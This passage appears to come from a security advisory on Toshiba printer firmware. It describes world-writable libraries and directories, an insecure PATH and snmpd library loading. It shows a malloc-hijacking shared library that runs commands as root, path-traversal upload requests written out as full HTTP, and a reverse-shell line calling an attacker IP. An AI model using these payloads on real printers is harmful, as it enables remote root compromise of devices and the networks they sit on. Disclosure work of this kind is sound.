76b53000-76b5c000 r-xp 00000000 08:02 11622 /lib/libcrypt-2.11.3.so
76b5c000-76b5d000 r--p 00008000 08:02 11622 /lib/libcrypt-2.11.3.so
76b5d000-76b5e000 rw-p 00009000 08:02 11622 /lib/libcrypt-2.11.3.so
76b5e000-76b85000 rw-p 00000000 00:00 0
76b85000-76b97000 r-xp 00000000 08:02 154448 /home/SYSROM_SRC/build/thirdparty/lib/libroken.so.18.1.0
76b97000-76b98000 rw-p 00012000 08:02 154448 /home/SYSROM_SRC/build/thirdparty/lib/libroken.so.18.1.0
76b98000-76b99000 rw-p 00000000 00:00 0
76b99000-76b9c000 r-xp 00000000 08:02 154186 /home/SYSROM_SRC/build/thirdparty/lib/libcom_err.so.1.1.3
76b9c000-76b9d000 rw-p 00002000 08:02 154186 /home/SYSROM_SRC/build/thirdparty/lib/libcom_err.so.1.1.3
76b9d000-76bc4000 r-xp 00000000 08:02 154600 /home/SYSROM_SRC/build/thirdparty/lib/libwind.so.0.0.0
76bc4000-76bc5000 rw-p 00027000 08:02 154600 /home/SYSROM_SRC/build/thirdparty/lib/libwind.so.0.0.0
76bc5000-76c64000 r-xp 00000000 08:02 154326 /home/SYSROM_SRC/build/thirdparty/lib/libasn1.so.8.0.0
76c64000-76c67000 rw-p 0009f000 08:02 154326 /home/SYSROM_SRC/build/thirdparty/lib/libasn1.so.8.0.0
76c67000-76c96000 r-xp 00000000 08:02 153499 /home/SYSROM_SRC/build/thirdparty/lib/libhcrypto.so.4.1.0
76c96000-76c99000 rw-p 0002e000 08:02 153499 /home/SYSROM_SRC/build/thirdparty/lib/libhcrypto.so.4.1.0
76c99000-76c9a000 rw-p 00000000 00:00 0
76c9a000-76d0b000 r-xp 00000000 08:02 153648 /home/SYSROM_SRC/build/thirdparty/lib/libheimsqlite.so.0.0.0
76d0b000-76d0d000 rw-p 00070000 08:02 153648 /home/SYSROM_SRC/build/thirdparty/lib/libheimsqlite.so.0.0.0
76d0d000-76d0e000 rw-p 00000000 00:00 0
76d0e000-76d4d000 r-xp 00000000 08:02 154400 /home/SYSROM_SRC/build/thirdparty/lib/libhx509.so.5.0.0
76d4d000-76d4f000 rw-p 0003f000 08:02 154400 /home/SYSROM_SRC/build/thirdparty/lib/libhx509.so.5.0.0
76d4f000-76d55000 r-xp 00000000 08:02 145615 /usr/lib/libirng.so
76d55000-76d58000 rw-p 00005000 08:02 145615 /usr/lib/libirng.so
76d58000-76d6b000 r-xp 00000000 08:02 21737 /home/SYSROM_SRC/build/release/lib/libllmnrclient.so.0
76d6b000-76d6c000 rw-p 00012000 08:02 21737 /home/SYSROM_SRC/build/release/lib/libllmnrclient.so.0
76d6c000-77568000 r-xp 00000000 08:02 157246 /mfp/lib/libsvml.so
77568000-77586000 rw-p 007fc000 08:02 157246 /mfp/lib/libsvml.so
77586000-77587000 rw-p 00000000 00:00 0
77587000-775ad000 r-xp 00000000 08:02 11746 /lib/libm-2.11.3.so
775ad000-775ae000 r--p 00025000 08:02 11746 /lib/libm-2.11.3.so
775ae000-775af000 rw-p 00026000 08:02 11746 /lib/libm-2.11.3.so
775af000-77624000 r-xp 00000000 08:02 145632 /usr/lib/libsqlite3.so.0.8.6
77624000-77626000 rw-p 00074000 08:02 145632 /usr/lib/libsqlite3.so.0.8.6
77626000-77627000 rw-p 00000000 00:00 0
77627000-77695000 r-xp 00000000 08:02 154620 /home/SYSROM_SRC/build/thirdparty/lib/libkrb5.so.25.0.0
77695000-77698000 rw-p 0006e000 08:02 154620 /home/SYSROM_SRC/build/thirdparty/lib/libkrb5.so.25.0.0
77698000-776ad000 r-xp 00000000 08:02 11629 /lib/libpthread-2.11.3.so
776ad000-776ae000 r--p 00014000 08:02 11629 /lib/libpthread-2.11.3.so
776ae000-776af000 rw-p 00015000 08:02 11629 /lib/libpthread-2.11.3.so
776af000-776b2000 rw-p 00000000 00:00 0
776b2000-776db000 r-xp 00000000 08:02 153455 /home/SYSROM_SRC/build/thirdparty/lib/libapr-1.so.0.7.0
776db000-776dd000 rw-p 00028000 08:02 153455 /home/SYSROM_SRC/build/thirdparty/lib/libapr-1.so.0.7.0
776dd000-776fb000 r-xp 00000000 08:02 154622 /home/SYSROM_SRC/build/thirdparty/lib/libaprutil-1.so.0.6.1
776fb000-776fd000 rw-p 0001e000 08:02 154622 /home/SYSROM_SRC/build/thirdparty/lib/libaprutil-1.so.0.6.1
776fd000-776fe000 rw-p 00000000 00:00 0
776fe000-77702000 r-xp 00000000 08:02 154313 /home/SYSROM_SRC/build/thirdparty/lib/mod_headers.so
77702000-77703000 rw-p 00003000 08:02 154313 /home/SYSROM_SRC/build/thirdparty/lib/mod_headers.so
77703000-77712000 r-xp 00000000 00:0d 10594 /ramdisk/al/libGetAddtInfoInterface.so
77712000-77714000 rw-p 0000e000 00:0d 10594 /ramdisk/al/libGetAddtInfoInterface.so
77714000-77715000 rw-p 00000000 00:00 0
77715000-77720000 r-xp 00000000 00:0d 11406 /ramdisk/al/libGetNameInfoInterface.so
77720000-77722000 rw-p 0000a000 00:0d 11406 /ramdisk/al/libGetNameInfoInterface.so
Because of weak permissions, we can overwrite hundreds of libraries to get Remote Code Execution.
We can overwrite the 2 libraries that will be loaded by default by the programs running inside the printers:
/ramdisk/al/libGetAddtInfoInterface.so
/ramdisk/al/libGetNameInfoInterface.so
These 2 libraries export Intel-optimized functions.
Exported functions found in the LD_PRELOAD'ed libraries:
kali% nm -D /home/user/research/printers/topaccess/4.50-latest-version/4.50-new-version/extract/home/SYSROM_SRC/build/release/lib/libGetNameInfoInterface.so.0
0000cf40 A __bss_start
00009150 T __cacheSize
w __cxa_finalize@GLIBC_2.1.3
U dlsym@GLIBC_2.0
0000cf40 A _edata
0000cfc0 A _end
00009d04 T _fini
00002340 T getnameinfo
00002290 T getNameInfoWrapper
w __gmon_start__
00002088 T _init
00009cb0 T __intel_f2int
00002530 T _intel_fast_memcpy
00002440 T _intel_fast_memcpy.A
00002500 T _intel_fast_memcpy.H
00002470 T _intel_fast_memcpy.J
000024a0 T _intel_fast_memcpy.M
000024d0 T _intel_fast_memcpy.P
000026f0 T _intel_fast_memset
00002600 T _intel_fast_memset.A
00002660 T _intel_fast_memset.H
00002630 T _intel_fast_memset.J
00002690 T _intel_fast_memset.M
000026c0 T _intel_fast_memset.P
000027cc T __intel_memcpy
000033fd T __intel_memset
000027c0 T __intel_new_memcpy
00003b10 T __intel_new_memcpy_P3
000033f0 T __intel_new_memset
00004a90 T __intel_new_memset_P3
000051e0 T __intel_sse2_memset
00005850 T __intel_sse2_rep_memset
00005dd0 T __intel_ssse3_memcpy
00007dc0 T __intel_ssse3_rep_memcpy
w _Jv_RegisterClasses
U memcpy@GLIBC_2.0
U memset@GLIBC_2.0
U pthread_create@GLIBC_2.1
U pthread_join@GLIBC_2.0
kali% nm -D /home/user/research/printers/topaccess/4.50-latest-version/4.50-new-version/extract/home/SYSROM_SRC/build/release/lib/libGetNameInfoInterface.so.0
0000cf40 A __bss_start
00009150 T __cacheSize
w __cxa_finalize@GLIBC_2.1.3
U dlsym@GLIBC_2.0
0000cf40 A _edata
0000cfc0 A _end
00009d04 T _fini
00002340 T getnameinfo
00002290 T getNameInfoWrapper
w __gmon_start__
00002088 T _init
00009cb0 T __intel_f2int
00002530 T _intel_fast_memcpy
00002440 T _intel_fast_memcpy.A
00002500 T _intel_fast_memcpy.H
00002470 T _intel_fast_memcpy.J
000024a0 T _intel_fast_memcpy.M
000024d0 T _intel_fast_memcpy.P
000026f0 T _intel_fast_memset
00002600 T _intel_fast_memset.A
00002660 T _intel_fast_memset.H
00002630 T _intel_fast_memset.J
00002690 T _intel_fast_memset.M
000026c0 T _intel_fast_memset.P
000027cc T __intel_memcpy
000033fd T __intel_memset
000027c0 T __intel_new_memcpy
00003b10 T __intel_new_memcpy_P3
000033f0 T __intel_new_memset
00004a90 T __intel_new_memset_P3
000051e0 T __intel_sse2_memset
00005850 T __intel_sse2_rep_memset
00005dd0 T __intel_ssse3_memcpy
00007dc0 T __intel_ssse3_rep_memcpy
w _Jv_RegisterClasses
U memcpy@GLIBC_2.0
U memset@GLIBC_2.0
U pthread_create@GLIBC_2.1
U pthread_join@GLIBC_2.0
kali%
An attacker can create a new library and export a function that will be used by any program, for example malloc()
.
A custom library has been written, hijacking the control flow of the malloc()
function:
kali% cat Makefile
all:
rm /home/user/research/printers/topaccess/malloc/malloc.so
gcc -o malloc.so -m32 -shared -fPIC malloc.c
kali% cat malloc.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <dlfcn.h>
void *malloc(size_t size)
{
static void *(*fptr)(size_t) = NULL;
if (fptr == NULL)
{
fptr = (void *(*)(size_t))dlsym(RTLD_NEXT, "malloc");
if (fptr == NULL)
{
printf("dlsym: %s\n", dlerror());
return NULL;
}
}
system("LD_PRELOAD='' id > /dev/shm/id");
return (*fptr)(size);
}
kali% make
rm /home/user/research/printers/topaccess/malloc/malloc.so
gcc -o malloc.so -m32 -shared -fPIC malloc.c
kali% ls -la
total 32
drwx------ 2 user user 4096 May 13 11:04 .
drwx------ 4 user user 4096 May 13 11:02 ..
-rw------- 1 user user 112 May 13 11:04 Makefile
-rw------- 1 user user 398 May 13 11:03 malloc.c
-rwx------ 1 user user 14696 May 13 11:04 malloc.so
kali%
When uploading this library as /ramdisk/al/libGetAddtInfoInterface.so
or /ramdisk/al/libGetNameInfoInterface.so
, the malloc()
function will be executed by some programs running inside the printers and the id command will be executed as root (the output will be written into /dev/shm/id
).
A side effect it that a lot of programs will also crash. The execution of the malicious payload will still work.
By targeting only specific functions used by Apache or specific programs inside the printer, it is possible to avoid crashing the programs.
An attacker can use the other vulnerabilities to get Remote Code Execution:
An attacker can remotely compromise any Toshiba printer.
An attacker can overwrite any insecure files (including programs running as root and Python code).
Toshiba printers provide several ways to upload files using the admin web interface.
The vulnerability in this chapter is similar to Pre-authenticated Remote Code Execution as root or apache and multiple Local Privilege Escalations but requires authentication on the TopAccess interface.
When an administrator is authenticated, it is possible to upload documents within the web interface using the maintenance interface:
Several webpages with an upload forms can be found in the admin interface:
All these upload functionalities are vulnerable: they allow an attacker with admin privilege to overwrite any file present in the printers.
The vulnerability likely resides in the /home/SYSROM_SRC/build/release/lib/mod_contentwebserver.so.0
library, where the /contentwebserver/upload
API is implemented. Consequently, this is a unique vulnerability that is reachable by using different upload forms.
For example, we can see 3 different types of upload forms:
Upload of Driver files
Upload of Unix filters
Upload of address book, mailboxes and templates
All of these forms are vulnerable by crafting a malicious name
value as shown in the next screenshot. It is possible to change the HTTP request by modifying the name value to rewrite any file in the printer.
For example, it is possible to overwrite the /home/SYSROM_SRC/build/common/bin/networkservice/ldapserver
shell script by sending a malicious file using the name value /./../../../../../home/SYSROM_SRC/build/common/bin/networkservice/ldapserver
:
Upload of malicious ldapserver shell script:
It is necessary to update the cookie and the CsrfpId values:
POST /contentwebserver/upload HTTP/1.1
Host: 10.0.0.1:8081
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------136357212815291094282690264320
Content-Length: 1056
Origin: http://10.0.0.1:8081
Connection: close
Referer: http://10.0.0.1:8081/Administration/maintenance/uploadsoft/DriverCustomize.html?v=1670278837ta&fileMode=3
Cookie: Locale=en-US,en#q=0.5; BrowserLang=en_US; pageTrack=MAIN%3DADMIN%26SUB%3DMAINT%26CAT%3DUPSW; IgnoreSessionTimeout=1; Session=10.0.0.2.3dfcc68624ce6c49d245e33f704a92b3; clicked=0; addrLastVisited=FAVGRP
Upgrade-Insecure-Requests: 1
-----------------------------136357212815291094282690264320
Content-Disposition: form-data; name="formSubmitCompleteEventHandler"
frames[0].formSubmitCompleteUploadList
-----------------------------136357212815291094282690264320
Content-Disposition: form-data; name="DeviceInformationModel"
<DeviceInformationModel><Command><Move><commandNode>FileStorages</commandNode><Params><source><File>script.zip</File><name>Upload</name></source><destination><name>PDPlugin</name></destination></Params></Move></Command></DeviceInformationModel>
-----------------------------136357212815291094282690264320
Content-Disposition: form-data; name="CsrfpId"
10.0.0.2.3dfcc68624ce6c49d245e33f704a92b3
-----------------------------136357212815291094282690264320
Content-Disposition: form-data; name="/./../../../../../home/SYSROM_SRC/build/common/bin/networkservice/ldapserver"; filename="script.zip"
Content-Type: application/zip
#!/bin/sh
bash -i >& /dev/tcp/10.0.0.2/21 0>&1
-----------------------------136357212815291094282690264320--
Following this HTTP request, the file /home/SYSROM_SRC/build/common/bin/networkservice/ldapserver
will be overwritten with a malicious payload.
Before the execution of the HTTP request, the file is normal:
bash-4.1# ls -la /home/SYSROM_SRC/build/common/bin/networkservice/ldapserver
-rwxrwxrwx 1 root root 7007 Mar 15 11:45 /home/SYSROM_SRC/build/common/bin/networkservice/ldapserver
bash-4.1# head /home/SYSROM_SRC/build/common/bin/networkservice/ldapserver
#!/bin/bash
LDAP_STARTUP_STATUS=0;
function stop() {
echo "slapd is stopped"
kill -SIGINT `pgrep slapd`
check_stop_process
}
function start() {
bash-4.1#
After the execution of the HTTP request, the file has been modified. It now contains the malicious payload:
bash-4.1# ls -la /home/SYSROM_SRC/build/common/bin/networkservice/ldapserver
-rw-rw-rw- 1 apache trusted 52 May 27 16:35 /home/SYSROM_SRC/build/common/bin/networkservice/ldapserver
bash-4.1# cat /home/SYSROM_SRC/build/common/bin/networkservice/ldapserver
#!/bin/sh
bash -i >& /dev/tcp/10.0.0.2/21 0>&1
bash-4.1#
Another exploitation of a different form is shown below, using the upload of drivers. It exploits the same vulnerability. The file /home/SYSROM_SRC/sbin/malicious.program
will contain test
:
Upload of /home/SYSROM_SRC/sbin/malicious.program
:
POST /contentwebserver/upload HTTP/1.1
Host: 10.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------8960912535828260861374302822
Content-Length: 1813
Origin: http://10.0.0.1:8080
Connection: close
Referer: http://10.0.0.1:8080/Administration/maintenance/uploadsoft/UnixList.html?v=1517352288ta&fileMode=2
Cookie: Locale=en-US,en#q=0.5; BrowserLang=en_US; pageTrack=MAIN%3DADMIN%26SUB%3DMAINT%26CAT%3DUPSW; TopAccessURL=http%3A//10.0.0.1%3A8080/%3FMAIN%3DTOPACCESS; SessionID=Session_3e61919e-556b-4be7-8a18-91bb65a4752b; clicked=0; addrLastVisited=ADDRBK; IgnoreSessionTimeout=1; Session=10.0.0.2.cab8f72fb0d8c69e622235cfff9d3cee
Upgrade-Insecure-Requests: 1
-----------------------------8960912535828260861374302822
Content-Disposition: form-data; name="formSubmitCompleteEventHandler"
frames[0].formSubmitCompleteUploadList
-----------------------------8960912535828260861374302822
Content-Disposition: form-data; name="DeviceInformationModel"
<DeviceInformationModel><Command><Move><commandNode>FileStorages</commandNode><Params><source><File>aix.tar</File><name>Upload</name></source><destination><name>Unix-Filters</name></destination></Params></Move></Command></DeviceInformationModel>
-----------------------------8960912535828260861374302822
Content-Disposition: form-data; name="CsrfpId"
10.0.0.2.cab8f72fb0d8c69e622235cfff9d3cee
-----------------------------8960912535828260861374302822
Content-Disposition: form-data; name="/./../../../../../home/SYSROM_SRC/sbin/malicious.program"; filename="aix.tar"
Content-Type: application/x-tar
test
-----------------------------8960912535828260861374302822
Content-Disposition: form-data; name="hpux.tar"; filename=""
Content-Type: application/octet-stream
-----------------------------8960912535828260861374302822
Content-Disposition: form-data; name="hpux64.tar"; filename=""
Content-Type: application/octet-stream
-----------------------------8960912535828260861374302822
Content-Disposition: form-data; name="linux.tar"; filename=""
Content-Type: application/octet-stream
-----------------------------8960912535828260861374302822
Content-Disposition: form-data; name="openunix.tar"; filename=""
Content-Type: application/octet-stream
-----------------------------8960912535828260861374302822
Content-Disposition: form-data; name="solaris.tar"; filename=""
Content-Type: application/octet-stream
-----------------------------8960912535828260861374302822--
And we can confirm this file has been uploaded on the printer:
bash-4.1# ls -la /home/SYSROM_SRC/sbin/malicious.program
-rw-rw-rw- 1 apache trusted 5 May 27 07:48 /home/SYSROM_SRC/sbin/malicious.program
bash-4.1#
This vulnerability can be used to get Remote Code Executions using several different ways. Due to some weaknesses found in Toshiba printers, there are hundreds different ways to get Remote Code Execution. For example:
An attacker with admin privileges can remotely compromise any Toshiba printer.
An attacker with admin privileges can overwrite any insecure file (including programs running as root and Python code).
Toshiba printers do not implement privileges separation. An attacker compromising a program will be able to compromise the entire printer.
For example, all the programs, except Apache, are running as root.
Apache is not running as root but a Local Privilege Escalation can be achieved using one of these vulnerabilities:
Listing of processes on the printer:
bash-4.1# ps auxw
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.0 1740 512 ? Ss 16:34 0:00 init [3]
root 2 0.0 0.0 0 0 ? S 16:34 0:00 [kthreadd]
root 3 0.0 0.0 0 0 ? S 16:34 0:00 [ksoftirqd/0]
[...]
root 1448 0.0 0.7 143680 21860 ? Sl 16:34 0:00 /home/SYSROM_SRC/build/release/bin/slapd -h ldap://127.0.0.1 -f /home/SYSROM_SRC/build/release/etc/openldap/slapd.conf -d 1
root 1460 0.0 0.2 387308 8036 ? Sl 16:34 0:02 /home/SYSROM_SRC/bin/mapper firstboot=0
root 1482 0.0 0.0 26120 2628 ? Ss 16:34 0:00 /usr/local/ebx/httpd_worker/bin/httpd_worker -f /encryption/al/network/config/httpd-prox.conf -k start
apache 1486 0.0 0.1 1264444 3728 ? Sl 16:34 0:00 /usr/local/ebx/httpd_worker/bin/httpd_worker -f /encryption/al/network/config/httpd-prox.conf -k start
[...]
root 1757 0.0 0.2 34388 8176 ? S 16:34 0:00 ./cipollproc
root 1758 0.0 0.2 34432 8180 ? S< 16:34 0:00 ./ciprioritymanager
root 1785 0.3 1.9 815004 59476 ? Sl 16:34 0:51 ./ebx_dl 1539 1537 1540 1 2 3 -T8
root 1786 0.0 0.5 101584 15612 ? S 16:34 0:00 ./de_ipfax 1539 1537 1540 1 2 3 -T8
root 1803 0.0 0.3 38908 9448 ? S 16:34 0:00 ./alnfcplugin
root 1846 0.0 0.0 15544 2788 ? S 16:34 0:00 /home/SYSROM_SRC/bin/eBXDebugLogUtility
root 1850 0.0 0.0 1744 500 ttyS0 Ss+ 16:34 0:00 /sbin/getty 115200 ttyS0
root 1864 0.0 0.4 46528 13060 ? S 16:34 0:00 ./alfilestoragem -T8
root 1866 0.0 0.6 60164 18036 ? S 16:34 0:00 ./alusermgr
root 1867 0.0 0.4 44120 14156 ? S 16:34 0:00 ./allicensemgmt
root 1868 0.0 0.6 56792 18680 ? Sl 16:34 0:00 ./aldeviceserviceplugin
root 1869 0.0 1.4 84708 42192 ? S 16:34 0:03 ./aldeviceconfigplugin
root 1870 0.0 0.6 60856 20516 ? S 16:34 0:01 ./aluserAuthMgr
root 1871 0.0 0.3 41912 11224 ? S 16:34 0:00 ./algrpmgr
root 1872 0.0 0.4 43616 13080 ? S 16:34 0:00 ./alrolemgr
root 1873 0.0 0.5 54708 14972 ? Sl 16:34 0:05 ./alrestrictionmode
root 1874 0.0 0.5 61692 15364 ? Sl 16:34 0:00 ./alsecurityconfiguration
root 1875 0.0 0.3 41408 11008 ? S 16:34 0:00 ./alintegritychkmgr
root 1876 0.3 3.6 482584 108060 ? Sl 16:34 0:43 ./alUiFrameWork legacy -S ramdisk
root 1877 0.0 0.9 92276 26968 ? Sl 16:34 0:01 ./alpanel panel 49 Controller/Settings/autoClear Controller/Information/Locale -T4
root 1878 0.0 0.4 60888 14588 ? S 16:34 0:00 ./aljobtemplatemgr
root 1879 0.0 0.3 42492 11204 ? S 16:34 0:00 ./alLogRetriever -T8
root 1880 0.0 0.4 49340 14248 ? S 16:34 0:00 ./alExportImport -T8
root 1881 0.0 0.4 57852 14596 ? S 16:34 0:00 ./aleFilingmgr -T8
root 1882 0.0 0.4 60244 13020 ? Sl 16:34 0:00 ./alpresentationresourcemgr -T8
root 1883 0.0 0.2 35036 8340 ? S 16:34 0:00 ./alServiceUIPlugin
root 1884 0.0 0.3 45624 10220 ? Sl 16:34 0:00 ./alPanelUIMessageHandler -S ramdisk
root 1885 0.0 0.3 42016 11916 ? S 16:34 0:00 ./alusbmscapplication
root 1886 0.0 0.4 70124 12236 ? Sl 16:34 0:00 ./alViewPlugin
root 1887 0.0 0.4 83200 12652 ? Sl 16:34 0:00 ./alsharedprintDp -T8
root 1888 0.0 0.7 62028 22420 ? S 16:34 0:06 ./alnsm -d9 -m00 -T5
root 1890 0.0 0.5 128920 16292 ? Sl 16:34 0:00 ./aljobcontroller -T8
root 1891 0.0 0.4 118216 12728 ? Sl 16:34 0:00 ./alprintmn -T8
root 1892 0.0 0.3 49888 11220 ? Sl 16:34 0:00 ./alreportsmsgr
root 1893 0.0 0.5 72764 17720 ? Sl 16:34 0:00 ./alreportmanager
root 1922 0.0 0.3 46056 11236 ? S 16:34 0:00 ./almailboxapplication
root 1923 0.0 0.4 44204 13528 ? S 16:34 0:00 ./alsoftwareupdateclient -T8
root 1974 0.0 0.5 56496 15560 ? S 16:34 0:00 ./alifaxreceive -T8
root 1975 0.0 0.4 47184 14844 ? S 16:34 0:00 ./almaintenanceplugin -T6
root 1976 0.0 0.3 41416 11312 ? S 16:34 0:00 ./alpdlfiltermanager
root 1977 0.0 0.4 51736 14524 ? S 16:34 0:00 ./alCloning -T8
root 1978 0.0 0.3 43528 9412 ? Sl 16:34 0:00 ./alPanelStartLEDHandler
root 1979 0.0 0.3 39964 11504 ? S 16:34 0:00 ./alhomedatamgr
root 1980 0.0 0.6 47532 18748 ? S 16:34 0:00 ./sim -T8
root 1981 0.0 0.7 92856 23600 ? Sl 16:34 0:01 ./informationservice -T8
root 1982 0.0 0.2 34624 8476 ? S 16:34 0:00 ./sljobmanagement -T8
root 1985 0.0 0.7 59792 22588 ? Sl 16:34 0:00 ./notificationservice 1284 -T8
root 1986 0.0 0.9 87936 28716 ? Sl 16:34 0:03 ./wfpc -T8
root 1987 0.0 0.3 35524 9156 ? S 16:34 0:00 ./armn -T8
root 2205 0.0 0.4 59596 12808 ? Ss 16:35 0:00 ./wfpc -T8
root 2208 0.0 0.3 59144 11220 ? Ss 16:35 0:00 ./wfpc -T8
root 2327 0.0 0.4 55020 13452 ? S 16:35 0:00 ./alAddressBookMgr
root 2328 0.0 0.5 72396 15208 ? Sl 16:35 0:00 ./alaccountmgr
root 2426 0.0 0.3 46192 10496 ? Sl 16:35 0:00 ./agent_scan 1282 1 -T8
root 2428 0.0 0.3 44272 9844 ? Sl 16:35 0:00 ./agent_faxreceive 1282 2 -T8
root 2430 0.0 0.6 450116 19668 ? Sl 16:35 0:00 ./agent_rip 1282 6 -T8
root 2432 0.0 0.3 47100 10260 ? Sl 16:35 0:00 ./agent_print 1282 15 -T8
root 2433 0.0 0.3 44316 9816 ? Sl 16:35 0:00 ./agent_faxtransmit 1282 16 -T8
root 2434 0.0 0.3 44296 9800 ? Sl 16:35 0:00 ./agent_ipfaxtransmit 1282 31 -T8
root 2435 0.0 0.3 44268 9796 ? Sl 16:35 0:00 ./agent_ipfaxreceive 1282 32 -T8
root 2515 0.0 0.4 54636 13444 ? Sl 16:35 0:00 ./alulm
root 2516 0.0 0.3 249732 9260 ? Sl 16:35 0:00 ./alcbamanager -S ramdisk
root 2614 0.0 0.5 183976 17564 ? Sl 16:35 0:00 ./alappmanager
root 2870 0.0 0.4 54968 14848 ? Sl 16:35 0:00 ./alLogmanager
root 2871 0.0 0.4 46088 13440 ? S 16:35 0:00 ./alhddbackuprestore
[...]
root 3784 0.0 0.4 45704 12760 ? S 16:35 0:00 /home/SYSROM_SRC/build/release/bin/alftpprintd
root 3828 0.0 0.0 15516 2424 ? S 16:35 0:00 /home/SYSROM_SRC/build/release/bin/vsftpd -enableprinting
root 3860 0.1 2.3 201372 70908 ? Sl 16:35 0:25 python /home/SYSROM_SRC/build/release/bin/sapphost.py 10000000-0000-0000-0000-500000000000
root 3935 0.0 0.4 218132 13644 ? Sl 16:35 0:00 /home/SYSROM_SRC/build/release/bin/alhp9100 -f /encryption/al/network/config/hp9100.conf
root 3970 0.1 1.6 144908 48860 ? Sl 16:35 0:24 python /home/SYSROM_SRC/build/release/bin/sapphost.py 10000000-0000-0000-0000-500000000001
root 3992 0.0 0.2 33948 8128 ? S 16:35 0:00 /home/SYSROM_SRC/build/release/bin/snmp_watchdog
root 4025 0.0 0.2 34236 8920 ? S 16:35 0:00 /home/SYSROM_SRC/bin/dnsValidateDaemon
[...]
The printer does not implement separation of privileges.
A vulnerability found inside one of the multiple components in the printer is enough to completely compromise the security of printer.
Toshiba printers are vulnerable to a Local Privilege Escalation vulnerability because of an insecure library defined inside the configuration of snmpd. This Local Privilege Escalation can be also exploited as a Remote Code Execution by uploading a malicious library.
The snmpd configuration file located at /encryption/al/network/config/snmpd.conf
contains the loading of an external and Toshiba-specific library. The code contained inside this library will be executed as root (as snmpd is running as root).
Content of /encryption/al/network/config/snmpd.conf
:
dlmod mibs_impl /home/SYSROM_SRC/lib/libalmibs_impl.so
This file is a symbolic link to the /home/SYSROM_SRC/lib/libalmibs_impl.so.0
library.
The /home/SYSROM_SRC/lib/libalmibs_impl.so.0
file has incorrect permissions, allowing any local attacker or any remote attacker exploiting the Pre-authenticated Remote Code Execution as root or apache and multiple Local Privilege Escalations vulnerability to replace this file with a malicious library.
bash-4.1# ls -la /home/SYSROM_SRC/lib/libalmibs_impl.so* lrwxrwxrwx 1 root root 19 Mar 14 16:27 /home/SYSROM_SRC/lib/libalmibs_impl.so -> libalmibs_impl.so.0 -rwxrwxrwx 1 root root 5239499 Dec 6 03:28 /home/SYSROM_SRC/lib/libalmibs_impl.so.0 bash-4.1#
This file will be loaded when snmpd starts. The snmpd program starts during the boot of the printer and is automatically restarted when it crashes.
It is possible to crash the remote snmpd server using the Pre-authenticated Remote Code Execution as root vulnerability to force the restart of the snmpd daemon, load the malicious library and compromise the printer.
An attacker can remotely compromise any Toshiba printer.
Toshiba printers are vulnerable to a Local Privilege Escalation vulnerability because of an insecure PATH variable. This Local Privilege Escalation can be also exploited as a Remote Code Execution by uploading a malicious program using the Pre-authenticated Remote Code Execution as root or apache and multiple Local Privilege Escalations vulnerability.
It was observed that the Toshiba printers are configured with an insecure $PATH
variable:
bash-4.1# echo $PATH /home/SYSROM_SRC/build/release/bin:/home/SYSROM_SRC/build/release/sbin:/home/SYSROM_SRC/build/release/bin: /home/SYSROM_SRC/build/release/sbin:/home/SYSROM_SRC/build/release/bin:/home/SYSROM_SRC/build/release/sbin: /bin:/usr/bin:/sbin:/usr/sbin:/sbin:/bin/:/usr/bin/:/usr/sbin:/sbin:/bin/:/usr/bin/:/usr/sbin:/sbin:/bin/:/usr/bin/:/usr/sbin bash-4.1#
The $PATH
variable contains several directories with insecure permissions (777) allowing any attacker to plant malicious programs that will be then executed instead of regular programs:
/home/SYSROM_SRC/build/release/bin
/home/SYSROM_SRC/build/release/sbin
These 2 directories are specified multiple times and are configured with the 777 permissions:
Insecure permissions of /home/SYSROM_SRC/build/release/bin
and /home/SYSROM_SRC/build/release
:
bash-4.1# ls -la /home/SYSROM_SRC/bin lrwxrwxrwx 1 root trusted 17 Mar 14 16:34 /home/SYSROM_SRC/bin -> build/release/bin bash-4.1# ls -la /home/SYSROM_SRC/build/release/bin total 176508 drwxrwxrwx 2 root root 36864 Mar 15 16:12 . drwxrwxrwx 19 root root 4096 Mar 14 16:28 .. lrwxrwxrwx 1 root root 25 Mar 14 16:27 2to3 -> ../../thirdparty/bin/2to3 lrwxrwxrwx 1 root root 29 Mar 14 16:27 2to3-3.5 -> ../../thirdparty/bin/2to3-3.5 -rwxrwxrwx 1 root root 120381 Dec 6 01:56 ALABAMA_Large.ico -rwxrwxrwx 1 root root 25214 Dec 6 01:56 ALABAMA_Small.ico -rwxrwxrwx 1 root root 143884 Dec 6 01:56 ALABAMA_f_Large.ico -rwxrwxrwx 1 root root 25214 Dec 6 01:56 ALABAMA_f_Small.ico lrwxrwxrwx 1 root root 39 Mar 14 16:27 AppLicenseDataBase -> ../../thirdparty/bin/AppLicenseDataBase ...
Insecure permissions of /home/SYSROM_SRC/build/release/sbin
and /home/SYSROM_SRC/build/release
:
bash-4.1# ls -la /home/SYSROM_SRC/sbin lrwxrwxrwx 1 root root 18 Mar 14 16:34 /home/SYSROM_SRC/sbin -> build/release/sbin bash-4.1# ls -la /home/SYSROM_SRC/build/release/sbin total 608 drwxrwxrwx 2 root root 4096 Dec 6 01:40 . drwxrwxrwx 19 root root 4096 Mar 14 16:28 .. -rwxrwxrwx 1 root root 4467 Dec 6 01:40 CheckAndRemovePerms.sh lrwxrwxrwx 1 root root 26 Mar 14 16:27 afpd -> ../../thirdparty/sbin/afpd lrwxrwxrwx 1 root root 30 Mar 14 16:27 arpaname -> ../../thirdparty/sbin/arpaname lrwxrwxrwx 1 root root 28 Mar 14 16:27 atalkd -> ../../thirdparty/sbin/atalkd lrwxrwxrwx 1 root root 30 Mar 14 16:27 cnid_dbd -> ../../thirdparty/sbin/cnid_dbd lrwxrwxrwx 1 root root 32 Mar 14 16:27 cnid_metad -> ../../thirdparty/sbin/cnid_metad lrwxrwxrwx 1 root root 34 Mar 14 16:27 ddns-confgen -> ../../thirdparty/sbin/ddns-confgen ...
On a side note, the /home/SYSROM_SRC
directory is highly insecure with incorrect permissions used everywhere:
